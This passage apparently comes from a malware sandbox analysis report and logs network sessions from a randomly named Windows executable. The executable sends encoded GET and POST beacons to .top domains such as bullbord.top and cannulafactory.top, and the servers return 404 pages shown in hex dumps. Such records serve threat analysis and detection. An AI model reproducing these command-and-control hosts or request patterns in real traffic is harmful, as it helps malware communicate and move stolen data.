Aug 27, 2024 07:59:47.340370893 CEST	7734	OUT	Data Raw: 4d 34 2f 30 5a 37 2b 48 2b 72 32 59 32 51 32 77 33 65 4f 37 6a 4e 34 56 69 45 53 37 50 30 50 77 56 6d 43 42 44 65 4c 39 79 4e 52 51 68 32 58 6b 50 30 72 63 2f 4e 35 71 42 47 66 46 68 6c 4b 47 65 48 6a 4a 77 4b 4e 7a 2b 4d 48 42 41 76 64 76 77 47 Data Ascii: M4/0Z7+H+r2Y2Q2w3eO7jN4ViES7P0PwVmCBDeL9yNRQh2XkP0rc/N5qBGfFhlKGeHjJwKNz+MHBAvdvwGzUj+A7jchG2t/GgrxOwbGb13fNR4QUEpSxOTYLZ4XTbiipPgG+H2fqucfAAAWkgEcTN98o1gza4F2RdMMW6eqPDY+S7BjYokXPUYYcY68b3i/2b7DdJZwICFJ9tfMFTGqtOd5dWWpPyCSkYQVecaOyBAn8/KaF4yL
Aug 27, 2024 07:59:47.340621948 CEST	7734	OUT	Data Raw: 72 70 2b 5a 35 4a 52 6a 32 74 6c 35 33 36 39 76 51 4a 71 6f 63 56 71 72 69 31 68 4d 52 6c 38 6f 53 61 33 4d 6d 65 72 59 7a 37 55 4b 74 47 68 4a 74 6c 2f 75 77 6d 71 53 4a 38 77 37 72 5a 2f 41 44 55 69 72 43 48 30 31 75 4e 36 6d 4e 79 39 4d 34 70 Data Ascii: rp+Z5JRj2tl5369vQJqocVqri1hMRl8oSa3MmerYz7UKtGhJtl/uwmqSJ8w7rZ/ADUirCH01uN6mNy9M4pk5KGiExSShF1pG1sZ9v5fThUoEQ7KPA+QOwxAjDSB3SsrCluGDm48PbGmqW9R7tOdVv4EpavUbPC4db0Pm93yuaXD07YAjyCf065At6kS8H2RwXsQTmOxPd2QNDbQUtAmQnhqHQmyupKdpOFGMvTbdVDzBXAtW/RD
Aug 27, 2024 07:59:47.340764999 CEST	1289	OUT	Data Raw: 70 70 39 61 72 53 69 73 32 53 67 77 64 42 37 4b 6c 35 4d 62 6c 39 63 79 6d 52 51 33 78 66 2f 30 70 6d 56 61 59 59 62 55 79 77 6a 4b 2b 4d 54 4a 56 6a 5a 41 59 64 64 34 64 54 43 43 6e 32 35 45 42 6b 42 47 70 70 41 4a 53 45 6c 64 69 6b 4b 77 76 34 Data Ascii: pp9arSis2SgwdB7Kl5Mbl9cymRQ3xf/0pmVaYYbUywjK+MTJVjZAYdd4dTCCn25EBkBGppAJSEldikKwv43TgqwAknMljpx7/uGmfFI0FFA4GoBS//3N+Y89e0RjMU9yZ1p3AazdbM1H6ZDBzEe9nkEPn5UHTfLZra8JrgaYF8uck1j/a00qH9yTj/OKwmdjTURr2zlQjzW1CqeWPg8fMNKWTlBQTEChVBMMt5Ch7u2m7S6EdiY
Aug 27, 2024 07:59:47.340811968 CEST	1289	OUT	Data Raw: 2b 67 4d 48 2f 45 6b 74 2f 6d 2b 77 78 41 32 6b 44 4f 44 6d 57 53 44 49 34 79 6f 76 42 33 5a 4b 43 62 55 6d 75 33 4d 4d 79 79 74 58 73 30 67 76 56 57 58 2f 31 68 45 4e 65 4c 6f 62 57 38 34 6e 44 4f 6d 6f 55 6b 68 4a 35 4a 31 6a 4e 45 46 4c 50 63 Data Ascii: +gMH/Ekt/m+wxA2kDODmWSDI4yovB3ZKCbUmu3MMyytXs0gvVWX/1hENeLobW84nDOmoUkhJ5J1jNEFLPcCeaJdQEsgfstYV43wv12xSm80h5mv7pxCT4CZjYu0QC6UzVwnOgPL4ZI4RLeshM2WtjMqASQGoFXJ02Cbp1aKDgE9OrO8gg4EO+j4OL0qWDyCdhDuKxeTC0ymyOySPq5soHvLWIDjceUunbmh/mv0VPWUUH9Y7yJe
Aug 27, 2024 07:59:47.341774940 CEST	1289	OUT	Data Raw: 59 65 57 34 5a 49 73 6f 43 37 64 49 41 79 75 75 51 57 71 4b 6d 30 67 61 59 47 69 74 74 46 5a 55 77 74 67 55 7a 79 55 36 78 31 37 35 6b 65 4a 6d 6d 55 74 4e 4d 37 4a 62 2b 4a 4c 53 74 51 4c 44 39 6e 6d 63 67 62 51 76 51 4e 4d 77 30 54 47 62 54 72 Data Ascii: YeW4ZIsoC7dIAyuuQWqKm0gaYGittFZUwtgUzyU6x175keJmmUtNM7Jb+JLStQLD9nmcgbQvQNMw0TGbTrp4OrIyGgtlbDBGm9KBKdTKCMWZ5pLkzWke2YiyOCoLrOkvZ44B6GBC0VMnAO0NyrwTHOttoNMsrB/8cHqriGi4Nd0TI304NyONQRQZO+6y76aiswJjfFMygBNnR+cNNEoTOzckTgQ/aJqQM4AcZuymCAo1LU02LT7
Aug 27, 2024 07:59:47.696114063 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Aug 2024 05:59:47 GMT Server: Apache Content-Length: 16052 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/42.css"></head><body>... partial:index.partial.html --><main> <svg viewBox="0 0 541.17206 328.45184" height="328.45184" width="541.17206" id="svg2" version="1.1"> <metadata id="metadata8"> </metadata> <defs id="defs6"> <pattern patternUnits="userSpaceOnUse" width="1.5" height="1" patternTransform="translate(0,0) scale(10,10)" id="Strips2_1"> <rect style="fill:black;stroke:none" x="0" y="-0.5" width="1" height="2" id="rect5419" /> </pattern> <linearGradient osb:paint="solid" id="linearGradient6096"> <stop id="stop6094" offset="0" [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.11.20	49865	203.161.46.205	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 07:59:49.869117975 CEST	546	OUT	GET /veti/?ij60MtY=CTwFRHkEL7GCscIqZBh2ghsqK7sG3QtVuFrIQG0IMtDLIws7wIuLhg5F5RICghophROLKQKALEwFGf2MtTv3MXBKvDNA89h+ifbsdhYGPDKJkkgMD8vmo5o=&wXB=brv4Erb HTTP/1.1 Host: www.bullbord.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>
Aug 27, 2024 07:59:50.039510012 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Aug 2024 05:59:49 GMT Server: Apache Content-Length: 16052 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/42.css"></head><body>... partial:index.partial.html --><main> <svg viewBox="0 0 541.17206 328.45184" height="328.45184" width="541.17206" id="svg2" version="1.1"> <metadata id="metadata8"> </metadata> <defs id="defs6"> <pattern patternUnits="userSpaceOnUse" width="1.5" height="1" patternTransform="translate(0,0) scale(10,10)" id="Strips2_1"> <rect style="fill:black;stroke:none" x="0" y="-0.5" width="1" height="2" id="rect5419" /> </pattern> <linearGradient osb:paint="solid" id="linearGradient6096"> <stop id="stop6094" offset="0" [TRUNCATED]
Aug 27, 2024 07:59:50.039612055 CEST	1289	IN	Data Raw: 22 74 72 61 6e 73 6c 61 74 65 28 31 37 30 2e 31 34 35 31 35 2c 30 2e 30 33 38 31 36 34 29 22 0a 20 20 20 20 20 20 20 69 64 3d 22 6c 61 79 65 72 31 22 3e 0a 20 20 20 20 20 20 3c 67 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 67 36 32 31 39 22 0a 20 Data Ascii: "translate(170.14515,0.038164)" id="layer1"> <g id="g6219" > <path transform="matrix(1.0150687,0,0,11.193923,-1.3895945,-2685.7441)" style="display:inline;fill:#000000;fill-opacity:1
Aug 27, 2024 07:59:50.039664984 CEST	1289	IN	Data Raw: 39 39 20 7a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 23 30 30 30 30 30 30 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 30 2e 32 Data Ascii: 99 z" style="display:inline;fill:#000000;stroke:none;stroke-width:0.23743393px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4496" d="m 85.115421,100.5729 c -0.00
Aug 27, 2024 07:59:50.039678097 CEST	1289	IN	Data Raw: 72 6f 6b 65 2d 77 69 64 74 68 3a 31 2e 30 30 31 35 37 34 37 35 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 34 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 Data Ascii: roke-width:1.00157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <path id="path4513" d="m 74.6875,125.03748 c -8.394789,7.68654 -16.790624,15.37405 -23.988969,22.38484 -7.198345,7.0108 -
Aug 27, 2024 07:59:50.039736986 CEST	1289	IN	Data Raw: 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 3a 23 30 30 30 30 30 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 70 78 3b 73 74 72 6f 6b 65 2d 6c 69 6e 65 63 61 70 3a 62 75 74 74 3b 73 74 72 6f 6b 65 2d 6c 69 6e Data Ascii: ay:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4521" d="m 96.8125,126.22498 c 6.89586,6.45836 13.7917,12.9167 19.98957,19.14
Aug 27, 2024 07:59:50.039794922 CEST	1289	IN	Data Raw: 32 33 2e 36 36 32 34 38 20 63 20 36 2e 31 35 39 38 38 35 2c 31 31 2e 35 31 37 37 31 20 31 32 2e 33 31 39 39 36 2c 32 33 2e 30 33 35 37 37 20 31 36 2e 38 33 37 32 34 2c 33 31 2e 37 38 39 30 34 20 34 2e 35 31 37 32 38 2c 38 2e 37 35 33 32 37 20 37 Data Ascii: 23.66248 c 6.159885,11.51771 12.31996,23.03577 16.83724,31.78904 4.51728,8.75327 7.29964,14.54985 9.24424,18.32123 1.9446,3.77138 3.00519,5.42118 4.1838,9.19262 1.17861,3.77144 2.47477,9.6631 1.94443,23.80647 -0.53034,14.14338 -2.88706,36.5322
Aug 27, 2024 07:59:50.039869070 CEST	1289	IN	Data Raw: 34 31 32 34 38 32 2c 31 39 2e 34 34 35 38 35 20 31 2e 30 30 31 37 31 31 2c 33 36 2e 38 38 37 30 31 20 31 2e 35 39 30 39 39 39 2c 35 34 2e 33 32 39 39 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 Data Ascii: 412482,19.44585 1.001711,36.88701 1.590999,54.32995" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4545"
Aug 27, 2024 07:59:50.039983988 CEST	1289	IN	Data Raw: 36 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 6d 20 34 32 2e 34 32 36 34 30 37 2c 31 35 35 2e 33 38 38 32 35 20 63 20 33 2e 34 31 38 34 2c 30 2e 38 32 35 31 33 20 36 2e 38 33 36 30 38 32 2c 31 2e 36 35 30 30 39 20 31 30 2e 36 30 36 39 Data Ascii: 6" d="m 42.426407,155.38825 c 3.4184,0.82513 6.836082,1.65009 10.606997,2.18034 3.770916,0.53024 7.89657,0.76599 11.608535,0.88382 3.711965,0.11782 7.012548,0.11782 10.429711,0.0589 3.417163,-0.0589 6.953769,-0.17681 10.606588,-0.
Aug 27, 2024 07:59:50.040133953 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 36 31 34 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 6f 70 61 63 69 74 79 3a 31 3b 66 69 6c 6c 3a 23 30 30 30 30 30 30 3b 66 Data Ascii: id="path4614" style="display:inline;opacity:1;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:1.00157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <ellipse
Aug 27, 2024 07:59:50.040146112 CEST	1289	IN	Data Raw: 30 2e 31 33 30 31 20 7a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 6f 70 61 63 69 74 79 3a 31 3b 66 69 6c 6c 3a 23 30 30 30 30 30 30 3b 66 69 6c 6c 2d 6f 70 61 63 69 74 79 3a 31 3b 66 69 6c 6c 2d 72 75 6c 65 3a 6e 6f 6e 7a Data Ascii: 0.1301 z" style="opacity:1;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:1.00157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <path transform="translate(-170
Aug 27, 2024 07:59:50.204965115 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 31 37 30 2e 31 34 35 31 35 2c 2d 30 2e 30 33 38 31 36 34 29 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 36 31 30 22 0a Data Ascii: transform="translate(-170.14515,-0.038164)" id="path4610" d="m 318,180.45184 c 0.66667,0 1.33434,0 1.501,0.16616 0.16667,0.16617 -0.16667,0.49951 0.001,0.66667 0.16767,0.16717 0.68771,0.16717 0.89053,0.3694

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.11.20	49866	18.183.3.45	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 07:59:55.831015110 CEST	832	OUT	POST /y82c/ HTTP/1.1 Host: www.cannulafactory.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.cannulafactory.top Cache-Control: no-cache Connection: close Content-Length: 204 Content-Type: application/x-www-form-urlencoded Referer: http://www.cannulafactory.top/y82c/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 68 4a 4b 35 59 31 70 36 7a 72 79 63 63 47 44 56 7a 70 4d 77 69 30 72 45 77 72 7a 51 49 6c 65 62 51 4c 5a 67 38 36 62 7a 2b 6d 77 6b 56 55 37 55 61 32 5a 4b 69 50 77 32 63 44 33 69 59 63 65 6d 55 2b 4a 48 43 31 35 47 68 44 37 57 44 4f 71 61 76 33 73 4f 42 35 39 66 77 68 51 36 6e 31 59 2b 4d 48 31 64 51 32 49 62 47 78 56 58 39 53 33 58 54 74 32 75 31 64 50 32 79 45 55 4d 4b 47 74 65 62 57 79 73 58 4c 69 72 7a 51 59 38 57 62 66 71 44 47 53 62 45 71 58 5a 76 71 49 6a 64 56 45 55 62 77 49 47 69 54 4d 7a 78 47 58 6e 63 2f 4d 72 41 6f 52 4b 78 56 54 69 33 37 56 4b 74 33 6d 4a 47 41 3d 3d Data Ascii: ij60MtY=hJK5Y1p6zryccGDVzpMwi0rEwrzQIlebQLZg86bz+mwkVU7Ua2ZKiPw2cD3iYcemU+JHC15GhD7WDOqav3sOB59fwhQ6n1Y+MH1dQ2IbGxVX9S3XTt2u1dP2yEUMKGtebWysXLirzQY8WbfqDGSbEqXZvqIjdVEUbwIGiTMzxGXnc/MrAoRKxVTi37VKt3mJGA==
Aug 27, 2024 07:59:56.100285053 CEST	1289	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 27 Aug 2024 05:59:55 GMT Content-Type: text/html Content-Length: 3971 Connection: close ETag: "6526681e-f83" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 54 68 65 20 70 61 67 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2a 3c [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <title>The page is not found</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <style type="text/css"> /<![CDATA[/ body { background-color: #fff; color: #000; font-size: 0.9em; font-family: sans-serif,helvetica; margin: 0; padding: 0; } :link { color: #c00; } :visited { color: #c00; } a:hover { color: #f50; } h1 { text-align: center; margin: 0; padding: 0.6em 2em 0.4em; background-color: #900; color: #fff; font-weight: normal; [TRUNCATED]
Aug 27, 2024 07:59:56.100389957 CEST	1289	IN	Data Raw: 20 20 20 20 20 68 31 20 73 74 72 6f 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 35 Data Ascii: h1 strong { font-weight: bold; font-size: 1.5em; } h2 { text-align: center; background-color: #900; font-size: 1.1em;
Aug 27, 2024 07:59:56.100444078 CEST	1289	IN	Data Raw: 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 33 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 3e 57 65 62 73 69 74 65 20 41 Data Ascii: is not found.</h3> <div class="alert"> <h2>Website Administrator</h2> <div class="content"> <p>Something has triggered missing webpage on your website. This
Aug 27, 2024 07:59:56.100456953 CEST	277	IN	Data Raw: 3d 22 33 32 22 20 2f 3e 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 72 65 64 68 61 74 2e 63 6f 6d 2f 22 3e 3c 69 6d 67 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: ="32" /></a> <a href="http://www.redhat.com/"><img src="poweredby.png" alt="[ Powered by Red Hat Enterprise Linux ]" width="88" height="31" /></a> </div>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.11.20	49867	18.183.3.45	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 07:59:58.625627041 CEST	1172	OUT	POST /y82c/ HTTP/1.1 Host: www.cannulafactory.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.cannulafactory.top Cache-Control: no-cache Connection: close Content-Length: 544 Content-Type: application/x-www-form-urlencoded Referer: http://www.cannulafactory.top/y82c/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 68 4a 4b 35 59 31 70 36 7a 72 79 63 63 6d 54 56 78 49 4d 77 79 6b 72 44 31 72 7a 51 47 46 65 66 51 4c 6c 67 38 2f 69 6f 2b 7a 41 6b 56 32 7a 55 62 30 78 4b 6c 50 77 32 54 6a 33 6e 56 38 65 62 55 2b 31 50 43 30 46 47 68 48 62 57 4e 63 69 61 6e 6e 73 50 56 70 39 63 78 68 51 42 74 56 59 4b 4d 48 4a 33 51 7a 67 62 47 42 35 58 38 51 76 58 46 73 32 76 78 39 50 76 6d 30 55 4e 42 6d 74 51 62 57 75 6b 58 4a 79 52 30 6c 59 38 56 36 2f 71 43 47 53 63 4b 61 57 54 74 71 4a 55 53 56 46 45 55 79 68 30 76 51 6f 7a 78 31 58 2f 58 59 34 35 43 59 31 6c 78 58 72 6e 2b 34 38 46 72 32 6a 31 5a 45 6f 2f 34 4e 53 4a 7a 5a 6f 6a 55 4f 4a 4b 41 32 37 48 71 73 4b 77 43 68 57 37 61 35 7a 66 70 43 51 57 57 5a 51 4a 37 6d 50 68 45 71 41 6c 34 55 6f 61 59 79 64 47 78 55 42 70 44 57 43 4d 66 50 57 73 31 50 6a 71 34 44 6c 36 45 55 76 37 61 32 53 6f 51 54 57 78 74 31 47 46 68 6b 4e 42 68 76 5a 75 74 34 77 38 2b 54 47 6c 73 43 4c 4b 4e 65 4d 49 6f 54 68 6a 6a 4b 70 49 51 4d 6b 33 34 45 6a 41 49 63 6a 38 51 34 [TRUNCATED] Data Ascii: ij60MtY=hJK5Y1p6zryccmTVxIMwykrD1rzQGFefQLlg8/io+zAkV2zUb0xKlPw2Tj3nV8ebU+1PC0FGhHbWNciannsPVp9cxhQBtVYKMHJ3QzgbGB5X8QvXFs2vx9Pvm0UNBmtQbWukXJyR0lY8V6/qCGScKaWTtqJUSVFEUyh0vQozx1X/XY45CY1lxXrn+48Fr2j1ZEo/4NSJzZojUOJKA27HqsKwChW7a5zfpCQWWZQJ7mPhEqAl4UoaYydGxUBpDWCMfPWs1Pjq4Dl6EUv7a2SoQTWxt1GFhkNBhvZut4w8+TGlsCLKNeMIoThjjKpIQMk34EjAIcj8Q4rLNuxR1ZHIqmBnjOEnlc34PhCAX/3LG+5CaDhizVapOaanydqTQS2IudCG8wFjjOIBvtkq06Z4BMSh5KoEaieod+mVmSfw1vehpojlP0ZPrQQWQKrLOKefP7AQZShDhi1MKzpoov7g8CYUD301lnmGjgpILdtNVY1qqVfPYLbU2f9v2+BvVPOnWCM9BsSYkgfg7yymfB8raCU=
Aug 27, 2024 07:59:58.889554977 CEST	1289	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 27 Aug 2024 05:59:58 GMT Content-Type: text/html Content-Length: 3971 Connection: close ETag: "6526681e-f83" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 54 68 65 20 70 61 67 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2a 3c [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" 